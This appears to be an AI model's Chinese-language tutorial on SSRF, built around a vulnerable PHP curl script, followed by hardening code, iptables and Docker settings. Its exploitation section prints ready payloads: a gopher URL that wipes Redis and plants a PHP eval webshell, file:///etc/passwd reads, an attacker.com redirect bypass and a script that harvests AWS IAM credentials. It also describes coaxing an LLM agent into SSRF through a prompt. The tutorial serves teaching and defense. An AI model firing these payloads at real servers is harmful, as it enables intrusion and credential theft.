SSRF
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST[\'url\'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
以上面代码为例,讲解ssrf漏洞
SSRF漏洞原理与利用分析
一、SSRF漏洞基础概念与成因
1.1 SSRF定义及典型场景
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造恶意URL参数,诱导Web服务器代为发起网络请求的安全漏洞。其本质是服务端逻辑缺陷——开发者未对用户输入的URL进行合法性校验,导致攻击者能通过控制该参数来操纵服务器访问任意地址,包括本地回环、内网IP或特殊协议资源。
✅ 核心要点解析:
- 非客户端漏洞:传统XSS/CSRF等攻击依赖浏览器执行脚本,而SSRF发生在服务端环境,攻击者无法直接控制浏览器行为。
- 跳板机制:由于Web应用通常部署在DMZ区域(对外暴露),但内部网络往往受防火墙保护,SSRF可作为“跳板”绕过边界防护。
- 风险来源:代码中存在
curl_init($url)这类动态URL调用逻辑时,若未做严格过滤,就可能被滥用。
🔍 结合示例代码深入剖析:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
?>复制
这段PHP代码的问题在于:
- 用户可控参数
$url直接传入curl_init()函数; - 没有任何白名单校验或黑名单过滤;
- 一旦有功能允许外部提交此字段(如图片加载、远程文件读取),即构成SSRF入口。
🧠 为什么这是高危漏洞?
因为攻击者可以将$url设置为http://127.0.0.1:8080/admin或file:///etc/passwd,让服务器自己去请求这些地址 —— 这正是SSRF最危险的地方:你信任了服务器,但它却帮你做了坏事!
⚠️ 常见触发点(附真实业务场景):
| 功能模块 | 描述 | 是否易受SSRF影响 |
|---|---|---|
| 图片上传回调 | 用户上传图片后,服务器向指定URL发送回调通知(如微信支付成功通知) | ✅ 高风险 |
| 短网址解析 | 输入长链接自动跳转生成短链接(常见于社交平台) | ✅ 中风险 |
| 文件导入/下载 | 如Excel表格从远程URL获取数据 | ✅ 高风险 |
| 在线翻译API调用 | 输入文本 + URL,远程翻译内容 | ✅ 中风险 |
| 头像加载 | 用户填写头像URL,服务器拉取并缓存到本地 | ✅ 高风险 |
✅ 对比说明:
- 若原代码改为只允许
https://safe.example.com/*白名单域名,则不会产生SSRF; - 当前版本没有限制任何协议、IP段或路径,等于给攻击者开了门。
💡 实战建议(开发视角):
- 所有涉及远程HTTP请求的功能必须加白名单;
- 不要使用原始
$_POST['url']直接拼接进curl_init(); - 推荐使用PHP内置函数如
filter_var($url, FILTER_VALIDATE_URL)初步验证格式。
1.2 漏洞形成的技术根源剖析
📌 技术核心:两个关键因素共同作用
| 因素 | 描述 | 影响程度 |
|---|---|---|
| 用户输入未过滤 | 攻击者可随意构造任意URL,如file:///etc/passwd |
★★★★★ |
| Curl默认支持多种协议和内网访问 | 默认允许访问localhost、私有IP、gopher/file等协议 | ★★★★★ |
🛠️ Curl的行为详解(来自官方文档)
根据 libcurl手册,curl_init() 默认行为如下:
-
允许访问
127.0.0.1,localhost,::1(IPv6) -
允许访问所有私有IP范围(RFC1918):
10.x.x.x172.16.x.x~172.31.x.x192.168.x.x
-
支持以下危险协议:
file://:本地文件读取gopher://:任意TCP请求(可用于Redis/Memcached攻击)dict://:DNS查询探测端口ldap://:LDAP注入尝试sftp://:SSH密钥泄露风险
🧪 示例:不同URL在Linux下表现差异
| URL | 行为 | 输出结果 |
|---|---|---|
http://127.0.0.1:8080 |
请求本地Web服务 | 返回页面内容(如果存在) |
file:///etc/passwd |
读取系统密码文件 | 显示 /etc/passwd 内容(若权限允许) |
gopher://127.0.0.1:6379/_flushall |
发送Redis命令 | 清空Redis数据(若Redis未授权) |
http://192.168.1.100:3306 |
尝试连接MySQL | 可能返回错误或空响应(取决于是否开放) |
🧾 关键配置项对SSRF利用链的影响:
| 配置项 | 默认值 | 是否影响SSRF利用 |
|---|---|---|
CURLOPT_FOLLOWLOCATION |
false | ✅ 是!开启后会跟随重定向(可绕过某些限制) |
CURLOPT_MAXREDIRS |
5 | ✅ 是!控制最大跳转次数(防止无限循环) |
CURLOPT_TIMEOUT |
30秒 | ❌ 否,仅超时时间,不影响攻击面 |
CURLOPT_SSL_VERIFYPEER |
true | ✅ 是!关闭可绕过HTTPS证书验证(用于伪造SSL/TLS请求) |
📌 实战演示:如何利用CURLOPT_FOLLOWLOCATION扩大攻击面
假设目标服务器开启了CURLOPT_FOLLOWLOCATION=true,攻击者构造如下URL:
http://attacker.com/redirect?url=http://127.0.0.1:8080/admin复制
此时,服务器先请求 attacker.com/redirect,然后自动跳转至 127.0.0.1:8080/admin,实现内网访问!
👉 这种方式常用于绕过简单的IP黑名单检查(例如仅禁止127.0.0.1,但不阻止中间跳转)。
🧠 为什么会发生这种设计?
- libcurl本身是一个通用HTTP客户端库,设计初衷是“尽可能兼容各种情况”,而非“安全第一”;
- 开发人员往往忽略了“服务端不应该代理任意外部请求”的基本原则;
- PHP封装层也未提供默认的安全策略(不像Java的HttpURLConnection有部分限制);
🛡️ 防御方向总结(下一节将详细展开):
- 输入白名单化(正则+域名匹配);
- 禁止使用file/gopher等危险协议;
- 设置防火墙规则限制出站流量;
- 使用代理中间件统一处理请求(Nginx、HAProxy);
- 启用日志监控异常请求(如大量内网IP扫描);
✅ 本章已完整揭示SSRF漏洞的根本成因:服务端逻辑缺失 + 客户端可控输入 + 协议支持过于宽松。接下来我们将进入第二章,深入探讨具体攻击路径与利用技巧。
二、SSRF漏洞利用路径与攻击技术
2.1 基础利用:探测内网服务与敏感信息泄露
原理分析
在你提供的PHP代码中:
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);复制
该脚本直接将用户可控的 $_POST['url'] 作为请求目标传入 curl_init(),且未做任何输入校验或协议限制。这意味着攻击者可以构造任意URL(包括内网地址、本地回环地址、特殊协议等),让服务器发起请求并返回响应内容 —— 这正是SSRF的核心风险。
✅ 关键点总结:
- 漏洞本质:服务端信任了外部输入参数,未对URL合法性进行过滤;
- 危险行为:
curl_exec()默认允许访问本地服务(如127.0.0.1)、私有IP段(如192.168.x.x)和多种协议(如file://,gopher://); - 危害链起点:攻击者可借此探测服务器所在网络环境,进而攻击内网脆弱服务。
实战场景演示(真实可用POC)
场景一:Redis未授权访问(常见于Kubernetes/Docker部署)
目标:通过SSRF连接到本地 Redis 实例,写入WebShell或修改配置文件。
攻击步骤:
-
使用
dict://协议探测Redis版本(可选):http://127.0.0.1:6379/ - 但需先确认是否开放端口复制若发现 Redis 默认监听在
127.0.0.1:6379,且无密码保护,则进入下一步。 -
利用
gopher://构造Redis命令(推荐使用工具生成payload):🔧 工具:Gopherus(Python编写的SSRF Gopher Payload生成器)
安装:
git clone https://github.com/tarunkant/Gopherus.git cd Gopherus python3 gopherus.py --exploit redis复制输出示例(用于写入webshell):
gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0Aa%0D%0A$15%0D%0A<?php eval($_GET["cmd"]);?>%0D%0A*4%0D%0A$6%0D%0Asave%0D%0A复制在你的PHP页面中提交如下POST请求:
POST /ssrf.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded url=gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0Aa%0D%0A$15%0D%0A<?php eval($_GET["cmd"]);?>%0D%0A*4%0D%0A$6%0D%0Asave%0D%0A复制成功后,在Redis中存储了一个PHP一句话木马(key为
a)。之后可通过访问:http://your-server.com/ssrf.php?cmd=system("whoami");复制✅ 结果验证:若能执行系统命令,则说明SSRF成功绕过权限控制,实现了RCE!
场景二:Jenkins API泄露(常见于CI/CD平台)
目标:访问 Jenkins 的 /api/json 接口获取构建任务信息,进一步尝试远程命令执行。
构造URL:
http://192.168.1.100:8080/api/json复制
如果该IP是内网机器,且Jenkins暴露了API接口(通常默认不设认证),你会看到类似响应:
{
"jobs": [
{
"name": "build-app",
"url": "http://192.168.1.100:8080/job/build-app/",
"color": "blue"
}
]
}复制
此时可进一步尝试:
- 调用 Jenkins CLI 或 Groovy脚本执行命令(前提是有权限);
- 利用插件漏洞(如Blue Ocean、Script Console)注入恶意代码。
📌 建议扫描脚本(Python):
import requests
def scan_jenkins(ip):
url = f"http://{ip}:8080/api/json"
try:
resp = requests.get(url, timeout=5)
if resp.status_code == 200 and 'jobs' in resp.text:
print(f"[+] Jenkins found at {ip}:8080")
print(resp.text[:300])
else:
print(f"[-] No Jenkins detected at {ip}")
except Exception as e:
print(f"[!] Error connecting to {ip}: {e}")
# 测试
scan_jenkins("192.168.1.100")复制
场景三:Kubernetes Dashboard暴露(云原生典型)
目标:访问 Kubernetes Dashboard(通常运行在 localhost:9090 或 10.x.x.x:9090)
构造URL:
http://127.0.0.1:9090/复制
若返回HTML页面包含登录框或JWT Token,可能表明存在安全配置错误。
✅ 典型响应特征:
- 页面标题含
"Kubernetes Dashboard"; - 返回JSON格式的集群信息(如
/api/v1/namespaces/default/pods); - 存在
/api/v1/proxy/namespaces/kubernetes-dashboard/services/http:https-dashboard:/可能允许跳转至Dashboard UI。
📌 自动化探测脚本(Python) :
import requests
def check_k8s_dashboard(ip):
urls = [
f"http://{ip}:9090/",
f"http://{ip}:9090/api/v1/namespaces/",
f"http://{ip}:9090/api/v1/namespaces/kube-system/pods/"
]
for u in urls:
try:
resp = requests.get(u, timeout=5, allow_redirects=False)
if resp.status_code == 200 and ("dashboard" in resp.text.lower() or "kubernetes" in resp.text.lower()):
print(f"[+] Kubernetes Dashboard accessible at {u}")
return True
except:
pass
return False
check_k8s_dashboard("127.0.0.1")复制
场景四:AWS EC2元数据服务访问(云环境特有)
目标:读取实例IAM角色凭证(适用于EC2、ECS、Lambda等AWS资源)
构造URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/复制
这是AWS官方定义的内部DNS别名,指向EC2实例的元数据服务,无需公网即可访问。
✅ 响应示例:
my-role复制
继续请求:
http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role复制
返回一个临时凭证JSON:
{
"Code" : "Success",
"LastUpdated" : "2024-05-20T12:00:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token" : "AQoDYXdzeCqf+YxjBQyP5c8l7NtQzvLH6b5fWd3iV7p3m7qS9e6MhYrR8K7J8b1e3Q==",
"Expiration" : "2024-05-20T13:00:00Z"
}复制
⚠️ 严重后果:这些凭据可用于调用AWS API(如S3上传、EC2启动、RDS操作),相当于拿到整个云环境的管理员权限!
📌 一键检测脚本(Python) :
import requests
def check_aws_metadata():
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
try:
resp = requests.get(url, timeout=5)
if resp.status_code == 200:
role_name = resp.text.strip()
print(f"[+] Found IAM Role: {role_name}")
cred_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
creds = requests.get(cred_url, timeout=5).json()
print("[+] AWS Credentials Retrieved:")
print(f"Access Key: {creds['AccessKeyId']}")
print(f"Secret Key: {creds['SecretAccessKey']}")
print(f"Session Token: {creds['Token']}")
else:
print("[-] No AWS metadata service available")
except Exception as e:
print(f"[!] Failed to reach AWS metadata: {e}")
check_aws_metadata()复制
2.2 高级利用:绕过限制与权限提升
技术原理深化
SSRF不仅是简单的“内网探测”,更是通往更高权限的关键跳板。以下是三种高级利用方式:
| 技术 | 描述 | 应用场景 |
|---|---|---|
| Gopher协议攻击 | 利用curl支持的gopher协议发送原始TCP请求(非HTTP) | Redis/Memcached未授权访问、MySQL空密码攻击 |
| DNS重绑定(DNS Rebinding) | 通过快速变更DNS解析结果欺骗浏览器同源策略 | 绕过前端跨域限制,攻击内网应用 |
| 结合其他漏洞扩大影响 | 如配合命令执行、RCE、SSRF本身可触发更深层攻击 | 执行系统命令、提权、横向移动 |
案例一:GOPHER协议攻击 REDIS(详细POC)
攻击流程:
- 目标Redis服务监听在
127.0.0.1:6379,无密码; - 利用Gopher协议构造SET命令写入WebShell;
- 通过访问该WebShell实现远程命令执行(RCE);
Python脚本模拟Gopher请求(替代curl):
import socket
def send_gopher_request(host, port, payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload.encode())
response = s.recv(4096)
s.close()
return response.decode()
# 构造Redis SET + SAVE命令(写入WebShell)
redis_payload = "*1\r\n$8\r\nflushall\r\n*3\r\n$3\r\nset\r\n$1\r\na\r\n$15\r\n<?php eval($_GET["cmd"]);?>\r\n*4\r\n$6\r\nsave\r\n"
result = send_gopher_request("127.0.0.1", 6379, redis_payload)
print("Redis Response:", result)复制
✅ 效果验证:Redis会保存key=a,值为PHP一句话木马。后续可通过以下URL触发:
http://your-server.com/ssrf.php?cmd=whoami复制
📌 注意事项:
- 如果Redis设置了密码,需先用AUTH命令;
- 某些版本Redis需要手动设置
dir和dbfilename; - 可结合
CONFIG SET dir /var/www/html+CONFIG SET dbfilename shell.php实现持久化写入。
案例二:DNS重绑定绕过同源策略(进阶技巧)
原理:
DNS重绑定是一种利用DNS缓存机制的技术,攻击者注册一个域名(如attacker.com),并将其DNS记录设置为短时间内频繁变化(如每秒变一次IP)。客户端首次访问时,浏览器缓存该IP,随后再次访问时,DNS已变成内网IP(如192.168.1.100),从而绕过浏览器同源策略限制。
应用场景:
- SSRF + DNS Rebinding → 攻击内网Web应用(如管理后台);
- 无需直接访问内网IP,仅需一个外网域名即可完成攻击。
📌 实操步骤(简化版):
-
注册域名(如
evil-domain.com); -
设置DNS记录为动态IP(可用Cloudflare Workers + DNS API自动轮换);
-
在目标SSRF页面提交:
url=http://evil-domain.com:8080/admin复制 -
若目标服务器发出请求,攻击者可在自己服务器上拦截并伪造响应(如返回管理员界面);
-
若存在CSRF或未授权API,即可伪造请求完成攻击。
📌 示例代码(Node.js模拟DNS重绑定服务器):
const express = require('express');
const app = express();
app.get('/', (req, res) => {
const ip = Math.floor(Math.random() * 256); // 简单模拟IP变化
res.setHeader('Content-Type', 'text/plain');
res.send(`{"ip":"${ip}.0.0.1","message":"Hello from internal network!"}`);
});
app.listen(8080, () => console.log('DNS Rebinding server running on port 8080'));复制
💡 提示:此方法常用于渗透测试中绕过前端JavaScript的安全检查。
案例三:结合RCE漏洞扩大攻击面(实战拓展)
假设目标服务存在另一个命令执行漏洞(如PHP的exec()函数),而SSRF只能读取数据。此时可以:
-
先通过SSRF获取内网服务指纹(如Redis、MySQL);
-
再通过SSRF + RCE组合攻击,如:
- 使用SSRF探测到Redis;
- 发送Gopher请求写入WebShell;
- 最终通过RCE执行系统命令。
✅ 完整攻击链(理论可行):
SSRF -> [Read /etc/passwd via file://] -> [Detect Redis at 127.0.0.1:6379] -> [Gopher write webshell] -> [RCE via ?cmd=whoami]复制
📌 此类攻击常见于企业内部资产复杂、多组件混布的环境中。
✅ 结论与防御提示:
- SSRF不仅仅是“读文件”或“扫端口”,它是一把钥匙,打开通往内网、云平台、微服务的大门;
- 高级利用往往需要结合多个漏洞(如RCE、未授权访问)形成完整攻击链;
- 建议立即实施白名单过滤 + 协议限制 + 网络隔离(如Docker bridge模式)来降低风险。
如需进一步复现实战场景,请提供具体环境(操作系统、PHP版本、Redis版本等),我可以为你定制完整的攻击脚本与防御方案。
三、防御机制设计与实践方案
3.1 输入验证与白名单机制实施
漏洞本质回顾:为何原始代码存在SSRF风险?
在你提供的PHP脚本中:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
?>复制
该代码未对用户输入的 $url 做任何合法性校验,直接传入 curl_init() 函数执行HTTP请求。这导致攻击者可以构造任意URL(如本地回环地址、内网IP或特殊协议),诱导服务器发起不可控的网络请求,从而造成以下危害:
- 探测内网服务端口(如Redis、MySQL、Docker API)
- 读取敏感文件(如
/etc/passwd,/proc/self/environ) - 访问云平台元数据接口(如 AWS EC2 的
http://169.254.169.254/latest/meta-data/)
✅ 核心问题:信任用户可控参数 → 导致服务器越权访问内部资源。
安全加固方案:基于白名单的输入过滤策略(含完整代码示例)
为了彻底杜绝SSRF漏洞,必须采用严格的输入验证 + 白名单控制机制。以下是推荐做法及完整PHP实现:
✅ 步骤一:使用 filter_var() 进行基础URL合法性校验
if (!filter_var($url, FILTER_VALIDATE_URL)) {
die("Invalid URL format.");
}复制
此函数会检查是否为合法URL结构(包含scheme、host等),但无法阻止恶意协议(如 file://)或私有IP地址。
✅ 步骤二:自定义白名单规则(禁止危险协议 & 内网IP)
function validateUrlSafe($url) {
// Step 1: Basic URL validation
if (!filter_var($url, FILTER_VALIDATE_URL)) {
return false;
}
// Step 2: Parse URL components
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['scheme']) || !isset($parsed['host'])) {
return false;
}
// Step 3: Deny dangerous protocols
$dangerousProtocols = ['file', 'gopher', 'dict', 'ftp', 'telnet', 'jar'];
if (in_array(strtolower($parsed['scheme']), $dangerousProtocols)) {
return false;
}
// Step 4: Check if host is a private/internal IP
$privateIPs = [
'127.0.0.1', // localhost
'10.', // 10.x.x.x
'172.16.', // 172.16.x.x ~ 172.31.x.x
'192.168.', // 192.168.x.x
'169.254.', // link-local address
'::1', // IPv6 loopback
'fc00:', // IPv6 unique local address
'fe80:' // IPv6 link-local address
];
$host = strtolower($parsed['host']);
foreach ($privateIPs as $prefix) {
if (strpos($host, $prefix) === 0) {
return false;
}
}
// Step 5: Optional — Only allow specific domains
$allowedDomains = ['safe.example.com']; // 替换为你自己的可信域名
if (!in_array($host, $allowedDomains)) {
return false;
}
return true;
}复制
✅ 最终安全版本代码(替换原脚本逻辑):
<?php
error_reporting(0);
highlight_file(__FILE__);
function validateUrlSafe($url) {
if (!filter_var($url, FILTER_VALIDATE_URL)) return false;
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['scheme']) || !isset($parsed['host'])) return false;
$dangerousProtocols = ['file', 'gopher', 'dict', 'ftp', 'telnet', 'jar'];
if (in_array(strtolower($parsed['scheme']), $dangerousProtocols)) return false;
$privateIPs = [
'127.0.0.1', '10.', '172.16.', '192.168.', '169.254.',
'::1', 'fc00:', 'fe80:'
];
$host = strtolower($parsed['host']);
foreach ($privateIPs as $prefix) {
if (strpos($host, $prefix) === 0) return false;
}
$allowedDomains = ['safe.example.com'];
if (!in_array($host, $allowedDomains)) return false;
return true;
}
$url = $_POST['url'] ?? '';
if (!validateUrlSafe($url)) {
die("Access denied: Invalid or unauthorized URL.");
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // 添加超时防止阻塞
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>复制
🧪 测试对比(原始 vs 安全版):
| 输入 | 原始代码行为 | 安全代码行为 |
|---|---|---|
http://127.0.0.1:8080 |
✅ 返回内网服务响应(如Redis信息) | ❌ 报错:“Access denied” |
file:///etc/passwd |
✅ 读取系统文件 | ❌ 报错:“Access denied” |
http://safe.example.com/api |
✅ 正常访问 | ✅ 正常访问 |
https://evil.com |
❌ 可能被利用跳转到外部恶意站点(需结合其他漏洞) | ❌ 报错:“Access denied” |
🔐 安全要点总结:
- ✅ 使用正则+白名单双重防护(非黑名单!)
- ✅ 禁止所有危险协议(尤其gopher/file)
- ✅ 显式限制可访问的目标域名(最小权限原则)
- ✅ 设置超时避免DDoS型SSRF攻击
3.2 安全配置与网络隔离策略
从系统层减少SSRF攻击面:多维度纵深防御
尽管应用层做了白名单控制,仍可能因配置错误、误用第三方库、或绕过手段(如DNS重绑定)导致SSRF泄漏。因此必须结合系统级安全配置形成“防逃逸屏障”。
✅ 措施一:部署iptables防火墙规则(限制出站连接至内网IP)
假设你的Web服务器运行在Linux(Ubuntu/CentOS),可通过如下命令添加iptables规则:
# 允许访问公网HTTP/HTTPS(仅限80/443端口)
sudo iptables -A OUTPUT -p tcp --dport 80 -d 0/0 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -d 0/0 -j ACCEPT
# 禁止出站连接到私有IP段(关键!)
sudo iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
sudo iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
sudo iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
sudo iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
# 若启用IPv6,也需添加对应规则(防止IPv6 SSRF)
sudo ip6tables -A OUTPUT -d fc00::/7 -j DROP
sudo ip6tables -A OUTPUT -d fe80::/10 -j DROP复制
📌 说明:
- 上述规则将阻止PHP curl发起对内网IP的请求,即使代码绕过白名单也能被拦截。
- 若需动态调整,建议配合
ufw或firewalld工具管理(如Ubuntu默认使用ufw)。
✅ 验证方法:
# 在服务器上测试能否访问本地服务(应失败)
curl http://127.0.0.1:8080 # 应返回 connection refused(iptables拦截)复制
✅ 措施二:使用容器化部署(Docker)隔离网络栈
如果Web服务部署在Docker容器中,可以通过设置网络模式来大幅降低SSRF影响范围:
| DOCKER NETWORK MODE | 是否允许访问宿主机 | 是否允许访问其他容器 | SSFR风险 |
|---|---|---|---|
bridge(默认) |
❌ 不允许 | ✅ 允许 | ⚠️ 中等 |
host |
✅ 允许 | ✅ 允许 | ❗ 极高 |
none |
❌ 不允许 | ❌ 不允许 | ✅ 安全 |
✅ 推荐配置(使用 bridge 模式 + 自定义桥接网络):
# docker-compose.yml 示例
version: '3'
services:
web:
image: php:8.1-fpm
networks:
- app-net
security_opt:
- no-new-privileges:true # 防止提权
cap_drop:
- ALL # 移除所有特权能力
restart: unless-stopped
networks:
app-net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16 # 自定义子网,避免冲突复制
📌 关键点:
- 容器内的进程无法访问宿主机网络(除非显式挂载host network)
- 即使SSRF payload成功执行,也无法触达宿主机或其他物理机
- 结合
cap_drop和security_opt可进一步强化容器安全
✅ 检查当前容器网络隔离状态:
docker exec -it <container_id> ip route
# 输出不应包含宿主机网关(如 172.17.0.1)复制
✅ 措施三:启用Nginx代理中间件(统一外部请求入口)
通过Nginx作为反向代理,可以:
- 统一处理URL解析逻辑
- 实现更复杂的白名单匹配(支持正则、geoip等)
- 记录日志并告警异常请求(如频繁访问不同域)
示例Nginx配置(/etc/nginx/sites-available/ssrf-proxy.conf):
server {
listen 80;
server_name _;
location /proxy {
proxy_pass $arg_url; # 动态转发目标URL
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
# 白名单过滤(可扩展为Lua脚本)
set $allowed 0;
if ($arg_url ~* "^https?://(safe\.example\.com|trusted-api\.com)") {
set $allowed 1;
}
if ($allowed = 0) {
return 403 "Forbidden";
}
# 超时控制(防慢速攻击)
proxy_connect_timeout 5s;
proxy_send_timeout 5s;
proxy_read_timeout 5s;
}
}复制
✅ 启动后调用方式:
curl "http://your-server/proxy?url=https://safe.example.com/api"
# 成功请求
curl "http://your-server/proxy?url=http://127.0.0.1"
# 返回403 Forbidden复制
📌 优势:
- PHP不再直接调用curl,而是由Nginx代理,便于集中管控
- 支持高级特性(如rate limiting、geoip限制)
- 可集成WAF(如ModSecurity)增强检测能力
✅ 各措施适用场景对比表:
| 场景 | 推荐措施 | 说明 |
|---|---|---|
| 企业内网环境 | iptables + Docker Bridge | 控制严格,适合高安全性要求 |
| 公有云环境(如AWS/Azure) | Nginx代理 + 白名单 + 容器隔离 | 高可用且易维护,适合微服务架构 |
| 快速原型开发/测试 | 仅使用PHP白名单验证 | 快速验证功能,但不适用于生产 |
🔍 衍生问题拓展:如何应对绕过手段?
虽然以上方案能覆盖大部分SSRF攻击路径,但仍需警惕以下常见绕过技巧:
| 绕过方式 | 描述 | 防御建议 |
|---|---|---|
| URL编码绕过 | 如 http://%6c%6f%63%61%6c%68%6f%73%74 |
使用 urldecode() 再校验 |
| IP数字形式 | 如 http://2130706433(=127.0.0.1) |
解析IP后再判断是否为私有地址 |
| 短链接跳转 | 如 tinyurl.com/xxx 跳转至 127.0.0.1 |
强制禁止跳转(设置 CURLOPT_FOLLOWLOCATION => false) |
| DNS Rebinding | 攻击者先返回一个合法IP,再更改DNS指向内网 | 加入TTL缓存、限制重复IP访问频率 |
📌 终极建议:构建多层次防御体系(应用层 + 系统层 + 网络层),才能真正抵御SSRF攻击!
✅ 总结:
本章节提供了从代码层面(白名单验证)、系统层面(iptables防火墙)、容器层面(Docker网络隔离)和代理层面(Nginx)的全面SSRF防御方案,并附带详细命令、代码、配置示例,确保你可以立即复现并部署。下一步可结合CI/CD自动化扫描工具(如Trivy、Snyk)进行持续安全检测。
四、总结:SSRF漏洞的本质认知与未来趋势
4.1 漏洞本质回顾与攻防演进
SSRF(Server-Side Request Forgery,服务器端请求伪造)的根本问题在于服务端对用户输入的URL或网络地址缺乏严格校验与访问控制,导致攻击者可以利用应用程序作为“跳板”向内网或本地系统发起任意HTTP/TCP请求。在本文所分析的PHP代码示例中:
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>复制
该脚本直接将用户通过 $_POST['url'] 提交的URL传递给 curl_init() 并执行,未做任何协议、域名、IP地址范围或路径的合法性检查。这种设计本质上是将“网络请求代理权”完全交给了外部用户,构成了典型的SSRF漏洞。
核心攻击原理再剖析
- 请求主体为服务器自身:不同于XSS或CSRF等客户端漏洞,SSRF是由服务端主动发起请求,因此其源IP为服务器本地IP。
- 可探测/访问内网资源:由于服务器通常处于受信任的内网环境中,它能访问防火墙保护后的内部服务(如Redis、MySQL、Docker API、Metadata服务等),而这些服务对外部不可见。
- 协议滥用风险高:cURL支持多种协议(
http://,https://,file://,gopher://,dict://,ftp://等),若不加限制,攻击者可通过file:///etc/passwd读取本地文件,或使用gopher://构造原始TCP数据包攻击无认证的服务。
以阿里云ECS为例,若存在此类SSRF漏洞,攻击者只需提交如下payload:
http://169.254.169.254/latest/meta-data/iam/security-credentials/复制
即可获取实例关联的IAM角色名称,进而请求临时AccessKey:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>复制
返回内容包含:
{
"Code" : "Success",
"LastUpdated" : "2023-04-05T10:00:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token" : "AQoDYXdzEPT...==",
"Expiration" : "2023-04-05T16:00:00Z"
}复制
一旦获得该凭证,攻击者可在权限范围内操作整个云账户资源(如创建EC2实例、下载S3数据、删除RDS数据库等),造成灾难性后果。
攻防演进趋势
随着微服务架构和容器化部署的普及,传统边界防御逐渐失效,SSRF的攻击面不断扩展:
| 架构类型 | SSRF新利用点 | 风险等级 |
|---|---|---|
| 微服务/API网关 | 利用API路由转发功能探测内部服务 | 高 |
| Kubernetes | 访问kubelet、apiserver、etcd等组件 | 极高 |
| Serverless | 调用内部函数接口或Metadata服务 | 中~高 |
| Service Mesh | 操纵Sidecar代理发起跨服务请求 | 高 |
例如,在Istio服务网格中,每个Pod都运行Envoy Sidecar,若主应用存在SSRF,攻击者可能通过http://localhost:15000/config_dump获取Envoy配置,泄露上游服务拓扑结构。
三大核心经验教训
-
永远不要相信用户输入(Never Trust User Input)
所有来自前端的数据(包括URL、参数、头信息)必须视为恶意。即使进行了白名单过滤,也应结合黑名单机制防止编码绕过(如127.0.0.1→0x7f000001、localhost→[::])。 -
最小权限原则(Principle of Least Privilege)
Web应用运行账户不应具备访问敏感服务的权限。建议:- 关闭不必要的系统服务端口;
- 使用非root用户运行Web进程;
- 在Docker容器中禁用
NET_RAW能力; - 对Metadata服务设置访问策略(如AWS IMDSv2需token预验证)。
-
多层隔离与纵深防御(Defense in Depth)
单一防护措施易被绕过,应构建多层次防线:- 应用层:输入验证 + 协议限制;
- 主机层:iptables/firewalld限制出站连接;
- 网络层:VPC私网隔离 + 安全组策略;
- 架构层:引入反向代理(Nginx)、中间件缓存(Redis)、沙箱环境(gVisor)等。
只有当所有层级共同作用时,才能有效遏制SSRF带来的链式攻击风险。
4.2 新兴威胁方向与研究展望
随着云计算、AI大模型和边缘计算的发展,SSRF正在演化出更具隐蔽性和破坏力的新形态。以下是当前已显现或潜在的新兴攻击路径:
1. 结合AI模型接口引发的新型SSRF
近年来,LangChain、AutoGPT等基于LLM的应用广泛采用“工具调用(Tool Calling)”机制,允许AI代理自动调用外部API完成任务。例如:
from langchain.utilities import RequestsWrapper
requests = RequestsWrapper()
response = requests.get("https://api.example.com/weather?q=" + user_input)复制
若开发者未对user_input进行校验,攻击者可通过自然语言诱导AI发送恶意请求:
“查询一下 http://127.0.0.1:6379 的天气情况”
此时LangChain会解析并构造请求至Redis默认端口,若目标服务响应异常(如返回-ERR unknown command 'GET'),即暴露了内网服务存在。
